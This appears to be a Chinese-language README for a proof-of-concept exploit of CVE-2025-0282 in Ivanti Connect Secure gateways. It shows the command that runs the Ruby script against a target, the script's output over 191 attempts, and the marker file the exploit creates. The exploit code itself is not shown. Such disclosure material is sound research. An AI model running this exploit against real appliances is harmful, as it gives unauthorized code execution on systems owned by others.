一个影响 Ivanti Connect Secure、Ivanti Policy Secure 和 Ivanti Neurons for ZTA 网关的远程未经身份验证的基于堆栈的缓冲区溢出漏洞
这是一个概念验证漏洞利用程序,用于演示 CVE-2025-0282 的利用,并基于 watchTowr 发布的利用策略。
此 PoC 包含一个针对 Ivanti Connect Secure 22.7r2.4 构建的 ROP 链。如果不先为该目标版本构建相应的 ROP 链,则无法针对其他版本。
此 PoC 包含一个有效载荷,该有效载荷将执行操作系统命令,在目标系统上创建一个临时文件。这就是您判断漏洞利用是否成功的方式。代码执行以非 root 用户 nr 的权限实现。
我们可以按如下方式对该脚本针对易受攻击的 Ivanti Connect Secure 目标(版本 22.7r2.4)运行:
C:\Users\sfewer\Desktop\CVE-2025-0282>ruby CVE-2025-0282.rb -t 192.168.86.111 -p 443
[+] Targeting 192.168.86.111:443
[+] Detected version 22.7.2.3597
[2025-01-16 14:39:56 +0000] Starting...
[2025-01-16 14:39:56 +0000] Triggering #1...
[2025-01-16 14:39:57 +0000] Triggering #2...
[2025-01-16 14:40:08 +0000] Triggering #3...
[2025-01-16 14:40:19 +0000] Triggering #4...
[2025-01-16 14:40:30 +0000] Triggering #5...
...snip...
[2025-01-16 15:13:28 +0000] Triggering #188...
[2025-01-16 15:13:38 +0000] Triggering #189...
[2025-01-16 15:13:49 +0000] Triggering #190...
[2025-01-16 15:14:00 +0000] Triggering #191...
如果漏洞利用成功,它将向临时目录 /var/tmp/ 写入一个新文件,文件名中包含一个与漏洞利用尝试迭代次数相对应的数值。
在目标设备上的另一个 root shell 中(我们通过越狱设备建立的),我们可以观察漏洞利用何时成功:
bash-4.2# ls -al /var/tmp/hax*
ls -al /var/tmp/hax*
ls: cannot access /var/tmp/hax*: No such file or directory
bash-4.2# ls -al /var/tmp/hax*
ls -al /var/tmp/hax*
-rw-r--r-- 1 nr nr 0 Jan 16 07:10 /var/tmp/haxor_191
bash-4.2#
从这个例子中我们可以看到,漏洞利用进行了 190 次失败的尝试,并在第 191 次尝试时成功。因此在这个例子中,对该目标的漏洞利用在 34 分钟内成功。